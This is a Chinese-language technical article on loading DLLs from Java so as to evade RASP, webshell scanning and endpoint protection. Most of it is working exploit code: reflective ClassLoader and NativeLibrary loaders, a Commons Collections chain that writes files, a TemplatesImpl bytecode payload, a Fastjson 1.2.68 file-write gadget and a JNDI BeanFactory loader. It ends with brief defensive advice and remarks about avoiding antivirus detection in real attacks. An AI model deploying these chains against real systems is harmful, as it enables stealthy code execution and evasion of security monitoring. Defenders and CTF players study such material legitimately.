java加载动态链接库绕过一些限制的思考
字数 1288 2025-08-22 18:37:14
Java加载动态链接库绕过限制的技术研究
1. 背景与概述
在Java安全研究中,高版本JDK对JNDI注入等攻击方式进行了防护。本文探讨了通过加载动态链接库(DLL)来绕过这些限制的技术,特别是在存在Webshell查杀、RASP或终端安全防护软件的环境下,直接使用System和Runtime的调用容易被检测,因此需要寻找替代方法。
2. 传统DLL加载方式
2.1 使用System.load
最基本的DLL加载方式:
public class LoadTest {
public static void main(String[] args) throws Exception {
System.load("E:\\path\\to\\calc_x64.dll");
}
}
调用链:
System.load→Runtime.load0Runtime.load0→ClassLoader.loadLibraryClassLoader.loadLibrary→loadLibrary0loadLibrary0→ 创建NativeLibrary并调用load方法
2.2 使用NativeLibLoader
com.sun.glass.utils.NativeLibLoader提供另一种加载方式:
NativeLibLoader.loadLibrary("libraryName");
但最终仍会调用到System.load。
3. 绕过System/Runtime的加载技术
3.1 反射调用ClassLoader#loadLibrary
public class loadLibraryToDLL {
public static void main(String[] args) throws Exception {
try {
Class clazz = Class.forName("java.lang.ClassLoader");
Method method = clazz.getDeclaredMethod("loadLibrary",
Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz,
"E:\\path\\to\\calc_x64.dll", true);
} catch (Exception e) {
e.printStackTrace();
}
}
}
3.2 反射调用NativeLibrary#load
NativeLibrary是ClassLoader的内部静态匿名类:
public static void main(String[] args) throws Exception {
try {
String file = "E:\\path\\to\\calc_x64.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(
new Class[]{Class.class, String.class, boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(Class.class, file, true);
Method method = obj.getClass().getDeclaredMethod(
"load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
} catch (Exception e) {
e.printStackTrace();
}
}
4. 组合利用技术
4.1 Commons Collections写文件+字节码加载DLL
4.1.1 使用CC链写文件
Transformer[] transformers = new Transformer[]{
// 创建FileOutputStream对象
new ConstantTransformer(java.io.FileOutputStream.class),
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{"CC6calc.dll"}}),
// 调用write方法写入数据
new InvokerTransformer("write",
new Class[]{byte[].class},
new Object[]{readFile("E:\\path\\to\\calc_x64.dll")}),
// 调用close方法关闭流
new InvokerTransformer("close", new Class[]{}, new Object[]{})
};
4.1.2 使用TemplatesImpl字节码加载DLL
public class TemplatesImpl_loadDLL extends AbstractTranslet {
static {
try {
String file = "CC6calc.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(
new Class[]{Class.class, String.class, boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(Class.class, file, true);
Method method = obj.getClass().getDeclaredMethod(
"load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
} catch (Exception e) {
e.printStackTrace();
}
}
// 其他必要方法实现...
}
4.2 Fastjson写文件+JNDI加载
4.2.1 Fastjson 1.2.68写文件
public class Fastjson_writeFile {
public static void main(String[] args) throws Exception {
String base64code = fileToBase64("E:\\path\\to\\calc_x64.dll");
String json = "{\n" +
"\"stream\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
"\"targetPath\": \"d:/calc_x64.dll\",\n" +
"\"tempPath\": \"e:/test.txt\"\n" +
"},\n" +
"\"writer\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
"\"buffer\": \"" + base64code + "\",\n" +
"\"outputStream\": {\n" +
"\"$ref\": \"$.stream\"\n" +
"},\n" +
"\"position\": 50176\n" + // 修改为DLL解码后的字节数
"},\n" +
"\"close\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
"\"out\": {\n" +
"\"$ref\": \"$.writer\"\n" +
"}\n" +
"}\n" +
"}";
JSON.parse(json);
}
}
4.2.2 JNDI加载DLL
public class JNDI_loadDLL {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader",
null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", ".calc_x64"));
InitialContext context = new InitialContext(env);
context.bind("remoteImpl", ref);
}
}
5. 技术要点总结
- 绕过检测:通过反射或间接调用方式绕过对
System和Runtime的直接调用检测 - 文件写入:利用CC链或Fastjson漏洞实现DLL文件写入
- 加载方式:
- 直接反射调用
ClassLoader.loadLibrary - 反射创建
NativeLibrary实例并调用load方法 - 通过JNDI间接加载
- 直接反射调用
- 组合利用:将文件写入技术与加载技术结合,实现更隐蔽的攻击
6. 防御建议
- 限制反射调用敏感类和方法
- 监控
NativeLibrary类的加载行为 - 检查文件系统中的异常DLL文件创建
- 更新Fastjson等存在漏洞的组件
- 实施严格的代码签名验证
7. 应用场景
- CTF比赛中绕过
Runtime、ProcessBuilder等过滤 - 红队评估中绕过RASP等运行时防护
- 研究高版本JDK安全机制的绕过方式
8. 注意事项
- DLL文件需要与目标系统架构匹配(x86/x64)
- 需要考虑DLL本身的免杀问题
- 文件落地可能触发文件监控系统的告警
- 实际利用时需要根据目标环境调整技术组合
通过以上技术,可以在特定环境下实现更隐蔽的DLL加载,绕过部分安全防护措施。但需要注意这些技术可能产生的日志和痕迹,在实际攻击中需要综合考虑各种因素。